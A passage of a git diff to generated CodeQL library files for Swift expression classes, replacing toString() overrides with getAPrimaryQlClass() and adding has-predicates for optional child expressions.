index d5a75020b59..984819e59aa 100644
--- a/swift/ql/lib/codeql/swift/generated/expr/FloatLiteralExpr.qll
+++ b/swift/ql/lib/codeql/swift/generated/expr/FloatLiteralExpr.qll
@@ -2,7 +2,7 @@
 import codeql.swift.elements.expr.NumberLiteralExpr
 
 class FloatLiteralExprBase extends @float_literal_expr, NumberLiteralExpr {
-  override string toString() { result = "FloatLiteralExpr" }
+  override string getAPrimaryQlClass() { result = "FloatLiteralExpr" }
 
   string getStringValue() { float_literal_exprs(this, result) }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/expr/ForceTryExpr.qll b/swift/ql/lib/codeql/swift/generated/expr/ForceTryExpr.qll
index 6e79e8b9d0c..79596be65fa 100644
--- a/swift/ql/lib/codeql/swift/generated/expr/ForceTryExpr.qll
+++ b/swift/ql/lib/codeql/swift/generated/expr/ForceTryExpr.qll
@@ -2,5 +2,5 @@
 import codeql.swift.elements.expr.AnyTryExpr
 
 class ForceTryExprBase extends @force_try_expr, AnyTryExpr {
-  override string toString() { result = "ForceTryExpr" }
+  override string getAPrimaryQlClass() { result = "ForceTryExpr" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/expr/ForceValueExpr.qll b/swift/ql/lib/codeql/swift/generated/expr/ForceValueExpr.qll
index 9740fce5b07..224dc78316e 100644
--- a/swift/ql/lib/codeql/swift/generated/expr/ForceValueExpr.qll
+++ b/swift/ql/lib/codeql/swift/generated/expr/ForceValueExpr.qll
@@ -2,7 +2,7 @@
 import codeql.swift.elements.expr.Expr
 
 class ForceValueExprBase extends @force_value_expr, Expr {
-  override string toString() { result = "ForceValueExpr" }
+  override string getAPrimaryQlClass() { result = "ForceValueExpr" }
 
   Expr getSubExpr() {
     exists(Expr x |
diff --git a/swift/ql/lib/codeql/swift/generated/expr/ForcedCheckedCastExpr.qll b/swift/ql/lib/codeql/swift/generated/expr/ForcedCheckedCastExpr.qll
index 62712596d93..0f1a2e44637 100644
--- a/swift/ql/lib/codeql/swift/generated/expr/ForcedCheckedCastExpr.qll
+++ b/swift/ql/lib/codeql/swift/generated/expr/ForcedCheckedCastExpr.qll
@@ -2,5 +2,5 @@
 import codeql.swift.elements.expr.CheckedCastExpr
 
 class ForcedCheckedCastExprBase extends @forced_checked_cast_expr, CheckedCastExpr {
-  override string toString() { result = "ForcedCheckedCastExpr" }
+  override string getAPrimaryQlClass() { result = "ForcedCheckedCastExpr" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/expr/ForeignObjectConversionExpr.qll b/swift/ql/lib/codeql/swift/generated/expr/ForeignObjectConversionExpr.qll
index 1a04dc63a00..ab40420b67b 100644
--- a/swift/ql/lib/codeql/swift/generated/expr/ForeignObjectConversionExpr.qll
+++ b/swift/ql/lib/codeql/swift/generated/expr/ForeignObjectConversionExpr.qll
@@ -3,5 +3,5 @@ import codeql.swift.elements.expr.ImplicitConversionExpr
 
 class ForeignObjectConversionExprBase extends @foreign_object_conversion_expr,
   ImplicitConversionExpr {
-  override string toString() { result = "ForeignObjectConversionExpr" }
+  override string getAPrimaryQlClass() { result = "ForeignObjectConversionExpr" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/expr/FunctionConversionExpr.qll b/swift/ql/lib/codeql/swift/generated/expr/FunctionConversionExpr.qll
index cefeacb56c9..c6e771f3f11 100644
--- a/swift/ql/lib/codeql/swift/generated/expr/FunctionConversionExpr.qll
+++ b/swift/ql/lib/codeql/swift/generated/expr/FunctionConversionExpr.qll
@@ -2,5 +2,5 @@
 import codeql.swift.elements.expr.ImplicitConversionExpr
 
 class FunctionConversionExprBase extends @function_conversion_expr, ImplicitConversionExpr {
-  override string toString() { result = "FunctionConversionExpr" }
+  override string getAPrimaryQlClass() { result = "FunctionConversionExpr" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/expr/IfExpr.qll b/swift/ql/lib/codeql/swift/generated/expr/IfExpr.qll
index ffba0002a9e..b1ec1a192f7 100644
--- a/swift/ql/lib/codeql/swift/generated/expr/IfExpr.qll
+++ b/swift/ql/lib/codeql/swift/generated/expr/IfExpr.qll
@@ -2,7 +2,7 @@
 import codeql.swift.elements.expr.Expr
 
 class IfExprBase extends @if_expr, Expr {
-  override string toString() { result = "IfExpr" }
+  override string getAPrimaryQlClass() { result = "IfExpr" }
 
   Expr getCondition() {
     exists(Expr x |
diff --git a/swift/ql/lib/codeql/swift/generated/expr/InOutExpr.qll b/swift/ql/lib/codeql/swift/generated/expr/InOutExpr.qll
index 9d8e2f89c5b..43da09784ae 100644
--- a/swift/ql/lib/codeql/swift/generated/expr/InOutExpr.qll
+++ b/swift/ql/lib/codeql/swift/generated/expr/InOutExpr.qll
@@ -2,7 +2,7 @@
 import codeql.swift.elements.expr.Expr
 
 class InOutExprBase extends @in_out_expr, Expr {
-  override string toString() { result = "InOutExpr" }
+  override string getAPrimaryQlClass() { result = "InOutExpr" }
 
   Expr getSubExpr() {
     exists(Expr x |
diff --git a/swift/ql/lib/codeql/swift/generated/expr/InOutToPointerExpr.qll b/swift/ql/lib/codeql/swift/generated/expr/InOutToPointerExpr.qll
index c1c4775f0dc..d158c645de4 100644
--- a/swift/ql/lib/codeql/swift/generated/expr/InOutToPointerExpr.qll
+++ b/swift/ql/lib/codeql/swift/generated/expr/InOutToPointerExpr.qll
@@ -2,5 +2,5 @@
 import codeql.swift.elements.expr.ImplicitConversionExpr
 
 class InOutToPointerExprBase extends @in_out_to_pointer_expr, ImplicitConversionExpr {
-  override string toString() { result = "InOutToPointerExpr" }
+  override string getAPrimaryQlClass() { result = "InOutToPointerExpr" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/expr/InjectIntoOptionalExpr.qll b/swift/ql/lib/codeql/swift/generated/expr/InjectIntoOptionalExpr.qll
index 98186826917..cedf59de7bf 100644
--- a/swift/ql/lib/codeql/swift/generated/expr/InjectIntoOptionalExpr.qll
+++ b/swift/ql/lib/codeql/swift/generated/expr/InjectIntoOptionalExpr.qll
@@ -2,5 +2,5 @@
 import codeql.swift.elements.expr.ImplicitConversionExpr
 
 class InjectIntoOptionalExprBase extends @inject_into_optional_expr, ImplicitConversionExpr {
-  override string toString() { result = "InjectIntoOptionalExpr" }
+  override string getAPrimaryQlClass() { result = "InjectIntoOptionalExpr" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/expr/IntegerLiteralExpr.qll b/swift/ql/lib/codeql/swift/generated/expr/IntegerLiteralExpr.qll
index 61e309fc20c..dcd8f4b97a5 100644
--- a/swift/ql/lib/codeql/swift/generated/expr/IntegerLiteralExpr.qll
+++ b/swift/ql/lib/codeql/swift/generated/expr/IntegerLiteralExpr.qll
@@ -2,7 +2,7 @@
 import codeql.swift.elements.expr.NumberLiteralExpr
 
 class IntegerLiteralExprBase extends @integer_literal_expr, NumberLiteralExpr {
-  override string toString() { result = "IntegerLiteralExpr" }
+  override string getAPrimaryQlClass() { result = "IntegerLiteralExpr" }
 
   string getStringValue() { integer_literal_exprs(this, result) }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/expr/InterpolatedStringLiteralExpr.qll b/swift/ql/lib/codeql/swift/generated/expr/InterpolatedStringLiteralExpr.qll
index d3d5f922f45..72f0fdac418 100644
--- a/swift/ql/lib/codeql/swift/generated/expr/InterpolatedStringLiteralExpr.qll
+++ b/swift/ql/lib/codeql/swift/generated/expr/InterpolatedStringLiteralExpr.qll
@@ -5,7 +5,7 @@ import codeql.swift.elements.expr.OpaqueValueExpr
 import codeql.swift.elements.expr.TapExpr
 
 class InterpolatedStringLiteralExprBase extends @interpolated_string_literal_expr, LiteralExpr {
-  override string toString() { result = "InterpolatedStringLiteralExpr" }
+  override string getAPrimaryQlClass() { result = "InterpolatedStringLiteralExpr" }
 
   OpaqueValueExpr getInterpolationExpr() {
     exists(OpaqueValueExpr x |
@@ -14,6 +14,8 @@ class InterpolatedStringLiteralExprBase extends @interpolated_string_literal_exp
     )
   }
 
+  predicate hasInterpolationExpr() { exists(getInterpolationExpr()) }
+
   Expr getInterpolationCountExpr() {
     exists(Expr x |
       interpolated_string_literal_expr_interpolation_count_exprs(this, x) and
@@ -21,6 +23,8 @@ class InterpolatedStringLiteralExprBase extends @interpolated_string_literal_exp
     )
   }
 
+  predicate hasInterpolationCountExpr() { exists(getInterpolationCountExpr()) }
+
   Expr getLiteralCapacityExpr() {
     exists(Expr x |
       interpolated_string_literal_expr_literal_capacity_exprs(this, x) and
@@ -28,10 +32,14 @@ class InterpolatedStringLiteralExprBase extends @interpolated_string_literal_exp
     )
   }
 
+  predicate hasLiteralCapacityExpr() { exists(getLiteralCapacityExpr()) }
+
   TapExpr getAppendingExpr() {
     exists(TapExpr x |
       interpolated_string_literal_expr_appending_exprs(this, x) and
       result = x.resolve()
     )
   }
+
+  predicate hasAppendingExpr() { exists(getAppendingExpr()) }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/expr/IsExpr.qll b/swift/ql/lib/codeql/swift/generated/expr/IsExpr.qll
index 51af55eddb7..45ddca73d8e 100644
--- a/swift/ql/lib/codeql/swift/generated/expr/IsExpr.qll
+++ b/swift/ql/lib/codeql/swift/generated/expr/IsExpr.qll
@@ -2,5 +2,5 @@
 import codeql.swift.elements.expr.CheckedCastExpr
 
 class IsExprBase extends @is_expr, CheckedCastExpr {
-  override string toString() { result = "IsExpr" }
+  override string getAPrimaryQlClass() { result = "IsExpr" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/expr/KeyPathApplicationExpr.qll b/swift/ql/lib/codeql/swift/generated/expr/KeyPathApplicationExpr.qll
index ebf1276e749..e746c44943b 100644
--- a/swift/ql/lib/codeql/swift/generated/expr/KeyPathApplicationExpr.qll
+++ b/swift/ql/lib/codeql/swift/generated/expr/KeyPathApplicationExpr.qll
@@ -2,5 +2,5 @@
 import codeql.swift.elements.expr.Expr
 
 class KeyPathApplicationExprBase extends @key_path_application_expr, Expr {
-  override string toString() { result = "KeyPathApplicationExpr" }
+  override string getAPrimaryQlClass() { result = "KeyPathApplicationExpr" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/expr/KeyPathDotExpr.qll b/swift/ql/lib/codeql/swift/generated/expr/KeyPathDotExpr.qll
index 6e4281c7d97..fbd58631fd4 100644
--- a/swift/ql/lib/codeql/swift/generated/expr/KeyPathDotExpr.qll
+++ b/swift/ql/lib/codeql/swift/generated/expr/KeyPathDotExpr.qll
@@ -2,5 +2,5 @@
 import codeql.swift.elements.expr.Expr
 
 class KeyPathDotExprBase extends @key_path_dot_expr, Expr {
-  override string toString() { result = "KeyPathDotExpr" }
+  override string getAPrimaryQlClass() { result = "KeyPathDotExpr" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/expr/KeyPathExpr.qll b/swift/ql/lib/codeql/swift/generated/expr/KeyPathExpr.qll
index 4801e957a8a..7ac3d4614f0 100644
--- a/swift/ql/lib/codeql/swift/generated/expr/KeyPathExpr.qll
+++ b/swift/ql/lib/codeql/swift/generated/expr/KeyPathExpr.qll
@@ -2,7 +2,7 @@
 import codeql.swift.elements.expr.Expr
 
 class KeyPathExprBase extends @key_path_expr, Expr {
-  override string toString() { result = "KeyPathExpr" }
+  override string getAPrimaryQlClass() { result = "KeyPathExpr" }
 
   Expr getParsedRoot() {
     exists(Expr x |
@@ -11,10 +11,14 @@ class KeyPathExprBase extends @key_path_expr, Expr {
     )
   }
 
+  predicate hasParsedRoot() { exists(getParsedRoot()) }
+
   Expr getParsedPath() {
     exists(Expr x |
       key_path_expr_parsed_paths(this, x) and
       result = x.resolve()
     )
   }
+
+  predicate hasParsedPath() { exists(getParsedPath()) }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/expr/LazyInitializerExpr.qll b/swift/ql/lib/codeql/swift/generated/expr/LazyInitializerExpr.qll
index 8ea9da8246a..b38aa2ebd5a 100644
--- a/swift/ql/lib/codeql/swift/generated/expr/LazyInitializerExpr.qll
+++ b/swift/ql/lib/codeql/swift/generated/expr/LazyInitializerExpr.qll
@@ -2,7 +2,7 @@
 import codeql.swift.elements.expr.Expr
 
 class LazyInitializerExprBase extends @lazy_initializer_expr, Expr {
-  override string toString() { result = "LazyInitializerExpr" }
+  override string getAPrimaryQlClass() { result = "LazyInitializerExpr" }
 
   Expr getSubExpr() {
     exists(Expr x |
diff --git a/swift/ql/lib/codeql/swift/generated/expr/LinearFunctionExpr.qll b/swift/ql/lib/codeql/swift/generated/expr/LinearFunctionExpr.qll
index 7a7c68f3859..144278727be 100644
--- a/swift/ql/lib/codeql/swift/generated/expr/LinearFunctionExpr.qll
+++ b/swift/ql/lib/codeql/swift/generated/expr/LinearFunctionExpr.qll
@@ -2,5 +2,5 @@
 import codeql.swift.elements.expr.ImplicitConversionExpr
 
 class LinearFunctionExprBase extends @linear_function_expr, ImplicitConversionExpr {
-  override string toString() { result = "LinearFunctionExpr" }
+  override string getAPrimaryQlClass() { result = "LinearFunctionExpr" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/expr/LinearFunctionExtractOriginalExpr.qll b/swift/ql/lib/codeql/swift/generated/expr/LinearFunctionExtractOriginalExpr.qll
index 82fbb7f32ba..e03586daacc 100644
--- a/swift/ql/lib/codeql/swift/generated/expr/LinearFunctionExtractOriginalExpr.qll
+++ b/swift/ql/lib/codeql/swift/generated/expr/LinearFunctionExtractOriginalExpr.qll
@@ -3,5 +3,5 @@ import codeql.swift.elements.expr.ImplicitConversionExpr
 
 class LinearFunctionExtractOriginalExprBase extends @linear_function_extract_original_expr,
   ImplicitConversionExpr {
-  override string toString() { result = "LinearFunctionExtractOriginalExpr" }
+  override string getAPrimaryQlClass() { result = "LinearFunctionExtractOriginalExpr" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/expr/LinearToDifferentiableFunctionExpr.qll b/swift/ql/lib/codeql/swift/generated/expr/LinearToDifferentiableFunctionExpr.qll
index f936d79cd3e..e3bd9ae91b9 100644
--- a/swift/ql/lib/codeql/swift/generated/expr/LinearToDifferentiableFunctionExpr.qll
+++ b/swift/ql/lib/codeql/swift/generated/expr/LinearToDifferentiableFunctionExpr.qll
@@ -3,5 +3,5 @@ import codeql.swift.elements.expr.ImplicitConversionExpr
 
 class LinearToDifferentiableFunctionExprBase extends @linear_to_differentiable_function_expr,
   ImplicitConversionExpr {
-  override string toString() { result = "LinearToDifferentiableFunctionExpr" }
+  override string getAPrimaryQlClass() { result = "LinearToDifferentiableFunctionExpr" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/expr/LoadExpr.qll b/swift/ql/lib/codeql/swift/generated/expr/LoadExpr.qll
index c2274d9b689..89466753b9a 100644
--- a/swift/ql/lib/codeql/swift/generated/expr/LoadExpr.qll
+++ b/swift/ql/lib/codeql/swift/generated/expr/LoadExpr.qll
@@ -2,5 +2,5 @@
 import codeql.swift.elements.expr.ImplicitConversionExpr
 
 class LoadExprBase extends @load_expr, ImplicitConversionExpr {
-  override string toString() { result = "LoadExpr" }
+  override string getAPrimaryQlClass() { result = "LoadExpr" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/expr/MagicIdentifierLiteralExpr.qll b/swift/ql/lib/codeql/swift/generated/expr/MagicIdentifierLiteralExpr.qll
index 43915a6ab5b..075cb1f955a 100644
--- a/swift/ql/lib/codeql/swift/generated/expr/MagicIdentifierLiteralExpr.qll
+++ b/swift/ql/lib/codeql/swift/generated/expr/MagicIdentifierLiteralExpr.qll
@@ -2,7 +2,7 @@
 import codeql.swift.elements.expr.BuiltinLiteralExpr
 
 class MagicIdentifierLiteralExprBase extends @magic_identifier_literal_expr, BuiltinLiteralExpr {
-  override string toString() { result = "MagicIdentifierLiteralExpr" }
+  override string getAPrimaryQlClass() { result = "MagicIdentifierLiteralExpr" }
 
   string getKind() { magic_identifier_literal_exprs(this, result) }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/expr/MakeTemporarilyEscapableExpr.qll b/swift/ql/lib/codeql/swift/generated/expr/MakeTemporarilyEscapableExpr.qll
index 3244ef7a849..5fe0c7c829d 100644
--- a/swift/ql/lib/codeql/swift/generated/expr/MakeTemporarilyEscapableExpr.qll
+++ b/swift/ql/lib/codeql/swift/generated/expr/MakeTemporarilyEscapableExpr.qll
@@ -3,7 +3,7 @@ import codeql.swift.elements.expr.Expr
 import codeql.swift.elements.expr.OpaqueValueExpr
 
 class MakeTemporarilyEscapableExprBase extends @make_temporarily_escapable_expr, Expr {
-  override string toString() { result = "MakeTemporarilyEscapableExpr" }
+  override string getAPrimaryQlClass() { result = "MakeTemporarilyEscapableExpr" }
 
   OpaqueValueExpr getEscapingClosure() {
     exists(OpaqueValueExpr x |
diff --git a/swift/ql/lib/codeql/swift/generated/expr/MemberRefExpr.qll b/swift/ql/lib/codeql/swift/generated/expr/MemberRefExpr.qll
index aa453e1c705..94bf0d6acf0 100644
--- a/swift/ql/lib/codeql/swift/generated/expr/MemberRefExpr.qll
+++ b/swift/ql/lib/codeql/swift/generated/expr/MemberRefExpr.qll
@@ -3,7 +3,7 @@ import codeql.swift.elements.expr.Expr
 import codeql.swift.elements.expr.LookupExpr
 
 class MemberRefExprBase extends @member_ref_expr, LookupExpr {
-  override string toString() { result = "MemberRefExpr" }
+  override string getAPrimaryQlClass() { result = "MemberRefExpr" }
 
   Expr getBaseExpr() {
     exists(Expr x |
diff --git a/swift/ql/lib/codeql/swift/generated/expr/MetatypeConversionExpr.qll b/swift/ql/lib/codeql/swift/generated/expr/MetatypeConversionExpr.qll
index 999afa62c9e..876074af22e 100644
--- a/swift/ql/lib/codeql/swift/generated/expr/MetatypeConversionExpr.qll
+++ b/swift/ql/lib/codeql/swift/generated/expr/MetatypeConversionExpr.qll
@@ -2,5 +2,5 @@
 import codeql.swift.elements.expr.ImplicitConversionExpr
 
 class MetatypeConversionExprBase extends @metatype_conversion_expr, ImplicitConversionExpr {
-  override string toString() { result = "MetatypeConversionExpr" }
+  override string getAPrimaryQlClass() { result = "MetatypeConversionExpr" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/expr/NilLiteralExpr.qll b/swift/ql/lib/codeql/swift/generated/expr/NilLiteralExpr.qll
index 836ce38d548..a0c78e7e567 100644
--- a/swift/ql/lib/codeql/swift/generated/expr/NilLiteralExpr.qll
+++ b/swift/ql/lib/codeql/swift/generated/expr/NilLiteralExpr.qll
@@ -2,5 +2,5 @@
 import codeql.swift.elements.expr.LiteralExpr
 
 class NilLiteralExprBase extends @nil_literal_expr, LiteralExpr {
-  override string toString() { result = "NilLiteralExpr" }
+  override string getAPrimaryQlClass() { result = "NilLiteralExpr" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/expr/ObjCSelectorExpr.qll b/swift/ql/lib/codeql/swift/generated/expr/ObjCSelectorExpr.qll
index 9d6cb2a924e..9853878d1a2 100644
--- a/swift/ql/lib/codeql/swift/generated/expr/ObjCSelectorExpr.qll
+++ b/swift/ql/lib/codeql/swift/generated/expr/ObjCSelectorExpr.qll
@@ -3,7 +3,7 @@ import codeql.swift.elements.decl.AbstractFunctionDecl
 import codeql.swift.elements.expr.Expr
 
 class ObjCSelectorExprBase extends @obj_c_selector_expr, Expr {
-  override string toString() { result = "ObjCSelectorExpr" }
+  override string getAPrimaryQlClass() { result = "ObjCSelectorExpr" }
 
   Expr getSubExpr() {
     exists(Expr x |
diff --git a/swift/ql/lib/codeql/swift/generated/expr/ObjectLiteralExpr.qll b/swift/ql/lib/codeql/swift/generated/expr/ObjectLiteralExpr.qll
index 9aea71ce341..247c2cc3cf9 100644
--- a/swift/ql/lib/codeql/swift/generated/expr/ObjectLiteralExpr.qll
+++ b/swift/ql/lib/codeql/swift/generated/expr/ObjectLiteralExpr.qll
@@ -2,5 +2,5 @@
 import codeql.swift.elements.expr.LiteralExpr
 
 class ObjectLiteralExprBase extends @object_literal_expr, LiteralExpr {
-  override string toString() { result = "ObjectLiteralExpr" }
+  override string getAPrimaryQlClass() { result = "ObjectLiteralExpr" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/expr/OneWayExpr.qll b/swift/ql/lib/codeql/swift/generated/expr/OneWayExpr.qll
index 6bbd20b70b2..4bebba18f26 100644
--- a/swift/ql/lib/codeql/swift/generated/expr/OneWayExpr.qll
+++ b/swift/ql/lib/codeql/swift/generated/expr/OneWayExpr.qll
@@ -2,7 +2,7 @@
 import codeql.swift.elements.expr.Expr
 
 class OneWayExprBase extends @one_way_expr, Expr {
-  override string toString() { result = "OneWayExpr" }
+  override string getAPrimaryQlClass() { result = "OneWayExpr" }
 
   Expr getSubExpr() {
     exists(Expr x |
diff --git a/swift/ql/lib/codeql/swift/generated/expr/OpaqueValueExpr.qll b/swift/ql/lib/codeql/swift/generated/expr/OpaqueValueExpr.qll
index d88089457f1..d88483fe6ab 100644
--- a/swift/ql/lib/codeql/swift/generated/expr/OpaqueValueExpr.qll
+++ b/swift/ql/lib/codeql/swift/generated/expr/OpaqueValueExpr.qll
@@ -2,5 +2,5 @@
 import codeql.swift.elements.expr.Expr
 
 class OpaqueValueExprBase extends @opaque_value_expr, Expr {
-  override string toString() { result = "OpaqueValueExpr" }
+  override string getAPrimaryQlClass() { result = "OpaqueValueExpr" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/expr/OpenExistentialExpr.qll b/swift/ql/lib/codeql/swift/generated/expr/OpenExistentialExpr.qll
index 647f258ce09..5ee0583013d 100644
--- a/swift/ql/lib/codeql/swift/generated/expr/OpenExistentialExpr.qll
+++ b/swift/ql/lib/codeql/swift/generated/expr/OpenExistentialExpr.qll
@@ -3,7 +3,7 @@ import codeql.swift.elements.expr.Expr
 import codeql.swift.elements.expr.OpaqueValueExpr
 
 class OpenExistentialExprBase extends @open_existential_expr, Expr {
-  override string toString() { result = "OpenExistentialExpr" }
+  override string getAPrimaryQlClass() { result = "OpenExistentialExpr" }
 
   Expr getSubExpr() {
     exists(Expr x |
diff --git a/swift/ql/lib/codeql/swift/generated/expr/OptionalEvaluationExpr.qll b/swift/ql/lib/codeql/swift/generated/expr/OptionalEvaluationExpr.qll
index df7bbbe5e27..a4ae044d1a4 100644
--- a/swift/ql/lib/codeql/swift/generated/expr/OptionalEvaluationExpr.qll
+++ b/swift/ql/lib/codeql/swift/generated/expr/OptionalEvaluationExpr.qll
@@ -2,7 +2,7 @@
 import codeql.swift.elements.expr.Expr
 
 class OptionalEvaluationExprBase extends @optional_evaluation_expr, Expr {
-  override string toString() { result = "OptionalEvaluationExpr" }
+  override string getAPrimaryQlClass() { result = "OptionalEvaluationExpr" }
 
   Expr getSubExpr() {
     exists(Expr x |
diff --git a/swift/ql/lib/codeql/swift/generated/expr/OptionalTryExpr.qll b/swift/ql/lib/codeql/swift/generated/expr/OptionalTryExpr.qll
index 8657344eb55..fa11ff63a72 100644
--- a/swift/ql/lib/codeql/swift/generated/expr/OptionalTryExpr.qll
+++ b/swift/ql/lib/codeql/swift/generated/expr/OptionalTryExpr.qll
@@ -2,5 +2,5 @@
 import codeql.swift.elements.expr.AnyTryExpr
 
 class OptionalTryExprBase extends @optional_try_expr, AnyTryExpr {
-  override string toString() { result = "OptionalTryExpr" }
+  override string getAPrimaryQlClass() { result = "OptionalTryExpr" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/expr/OtherConstructorDeclRefExpr.qll b/swift/ql/lib/codeql/swift/generated/expr/OtherConstructorDeclRefExpr.qll
index c32da7fa5af..7d139c9b616 100644
--- a/swift/ql/lib/codeql/swift/generated/expr/OtherConstructorDeclRefExpr.qll
+++ b/swift/ql/lib/codeql/swift/generated/expr/OtherConstructorDeclRefExpr.qll
@@ -2,5 +2,5 @@
 import codeql.swift.elements.expr.Expr
 
 class OtherConstructorDeclRefExprBase extends @other_constructor_decl_ref_expr, Expr {
-  override string toString() { result = "OtherConstructorDeclRefExpr" }
+  override string getAPrimaryQlClass() { result = "OtherConstructorDeclRefExpr" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/expr/OverloadedDeclRefExpr.qll b/swift/ql/lib/codeql/swift/generated/expr/OverloadedDeclRefExpr.qll
index bd93baa605f..96904abb628 100644
--- a/swift/ql/lib/codeql/swift/generated/expr/OverloadedDeclRefExpr.qll
+++ b/swift/ql/lib/codeql/swift/generated/expr/OverloadedDeclRefExpr.qll
@@ -2,5 +2,5 @@
 import codeql.swift.elements.expr.OverloadSetRefExpr
 
 class OverloadedDeclRefExprBase extends @overloaded_decl_ref_expr, OverloadSetRefExpr {
-  override string toString() { result = "OverloadedDeclRefExpr" }
+  override string getAPrimaryQlClass() { result = "OverloadedDeclRefExpr" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/expr/ParenExpr.qll b/swift/ql/lib/codeql/swift/generated/expr/ParenExpr.qll
index 20ad4d97304..c8e92eeea24 100644
--- a/swift/ql/lib/codeql/swift/generated/expr/ParenExpr.qll
+++ b/swift/ql/lib/codeql/swift/generated/expr/ParenExpr.qll
@@ -2,5 +2,5 @@
 import codeql.swift.elements.expr.IdentityExpr
 
 class ParenExprBase extends @paren_expr, IdentityExpr {
-  override string toString() { result = "ParenExpr" }
+  override string getAPrimaryQlClass() { result = "ParenExpr" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/expr/PointerToPointerExpr.qll b/swift/ql/lib/codeql/swift/generated/expr/PointerToPointerExpr.qll
index 649653c8c3e..dc81ee62119 100644
--- a/swift/ql/lib/codeql/swift/generated/expr/PointerToPointerExpr.qll
+++ b/swift/ql/lib/codeql/swift/generated/expr/PointerToPointerExpr.qll
@@ -2,5 +2,5 @@
 import codeql.swift.elements.expr.ImplicitConversionExpr
 
 class PointerToPointerExprBase extends @pointer_to_pointer_expr, ImplicitConversionExpr {
-  override string toString() { result = "PointerToPointerExpr" }
+  override string getAPrimaryQlClass() { result = "PointerToPointerExpr" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/expr/PostfixUnaryExpr.qll b/swift/ql/lib/codeql/swift/generated/expr/PostfixUnaryExpr.qll
index ce96c7bfc11..4e3ffb93560 100644
--- a/swift/ql/lib/codeql/swift/generated/expr/PostfixUnaryExpr.qll
+++ b/swift/ql/lib/codeql/swift/generated/expr/PostfixUnaryExpr.qll
@@ -2,5 +2,5 @@
 import codeql.swift.elements.expr.ApplyExpr
 
 class PostfixUnaryExprBase extends @postfix_unary_expr, ApplyExpr {
-  override string toString() { result = "PostfixUnaryExpr" }
+  override string getAPrimaryQlClass() { result = "PostfixUnaryExpr" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/expr/PrefixUnaryExpr.qll b/swift/ql/lib/codeql/swift/generated/expr/PrefixUnaryExpr.qll
index ec122b5d785..fcc0f15e3bd 100644
--- a/swift/ql/lib/codeql/swift/generated/expr/PrefixUnaryExpr.qll
+++ b/swift/ql/lib/codeql/swift/generated/expr/PrefixUnaryExpr.qll
@@ -2,5 +2,5 @@
 import codeql.swift.elements.expr.ApplyExpr
 
 class PrefixUnaryExprBase extends @prefix_unary_expr, ApplyExpr {
-  override string toString() { result = "PrefixUnaryExpr" }
+  override string getAPrimaryQlClass() { result = "PrefixUnaryExpr" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/expr/PropertyWrapperValuePlaceholderExpr.qll b/swift/ql/lib/codeql/swift/generated/expr/PropertyWrapperValuePlaceholderExpr.qll
index 74ad001df53..786cca40bca 100644
--- a/swift/ql/lib/codeql/swift/generated/expr/PropertyWrapperValuePlaceholderExpr.qll
+++ b/swift/ql/lib/codeql/swift/generated/expr/PropertyWrapperValuePlaceholderExpr.qll
@@ -2,5 +2,5 @@
 import codeql.swift.elements.expr.Expr
 
 class PropertyWrapperValuePlaceholderExprBase extends @property_wrapper_value_placeholder_expr, Expr {
-  override string toString() { result = "PropertyWrapperValuePlaceholderExpr" }
+  override string getAPrimaryQlClass() { result = "PropertyWrapperValuePlaceholderExpr" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/expr/ProtocolMetatypeToObjectExpr.qll b/swift/ql/lib/codeql/swift/generated/expr/ProtocolMetatypeToObjectExpr.qll
index e2c4c5c25ac..d09c67d83b3 100644
--- a/swift/ql/lib/codeql/swift/generated/expr/ProtocolMetatypeToObjectExpr.qll
+++ b/swift/ql/lib/codeql/swift/generated/expr/ProtocolMetatypeToObjectExpr.qll
@@ -3,5 +3,5 @@ import codeql.swift.elements.expr.ImplicitConversionExpr
 
 class ProtocolMetatypeToObjectExprBase extends @protocol_metatype_to_object_expr,
   ImplicitConversionExpr {
-  override string toString() { result = "ProtocolMetatypeToObjectExpr" }
+  override string getAPrimaryQlClass() { result = "ProtocolMetatypeToObjectExpr" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/expr/RebindSelfInConstructorExpr.qll b/swift/ql/lib/codeql/swift/generated/expr/RebindSelfInConstructorExpr.qll
index bed2006bb27..101a8c73b09 100644
--- a/swift/ql/lib/codeql/swift/generated/expr/RebindSelfInConstructorExpr.qll
+++ b/swift/ql/lib/codeql/swift/generated/expr/RebindSelfInConstructorExpr.qll
@@ -3,7 +3,7 @@ import codeql.swift.elements.expr.Expr
 import codeql.swift.elements.decl.VarDecl
 
 class RebindSelfInConstructorExprBase extends @rebind_self_in_constructor_expr, Expr {
-  override string toString() { result = "RebindSelfInConstructorExpr" }
+  override string getAPrimaryQlClass() { result = "RebindSelfInConstructorExpr" }
 
   Expr getSubExpr() {
     exists(Expr x |
diff --git a/swift/ql/lib/codeql/swift/generated/expr/RegexLiteralExpr.qll b/swift/ql/lib/codeql/swift/generated/expr/RegexLiteralExpr.qll
index 8369264e316..ce4df9d13cb 100644
--- a/swift/ql/lib/codeql/swift/generated/expr/RegexLiteralExpr.qll
+++ b/swift/ql/lib/codeql/swift/generated/expr/RegexLiteralExpr.qll
@@ -2,5 +2,5 @@
